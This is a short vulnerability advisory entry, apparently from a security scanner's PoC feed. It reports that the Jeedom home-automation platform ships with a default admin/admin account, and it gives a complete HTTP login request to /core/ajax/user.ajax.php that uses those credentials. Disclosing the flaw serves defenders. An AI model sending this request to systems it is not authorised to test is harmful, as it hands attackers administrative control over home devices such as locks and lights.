Jeedom /core/ajax/user.ajax.php 默认口令漏洞

2026-03-09 Jeedom PoC Public

Description

Jeedom是一个由开源软件构成的家庭自动化平台，它可以控制灯、锁、多媒体等等。其存在默认管理账户admin/admin。

PoC

POST /core/ajax/user.ajax.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 75
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

action=login&username=admin&password=admin&twoFactorCode=&storeConnection=0

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Jeedom /core/ajax/user.ajax.php Default Password Vulnerability

References

Related Vulnerabilities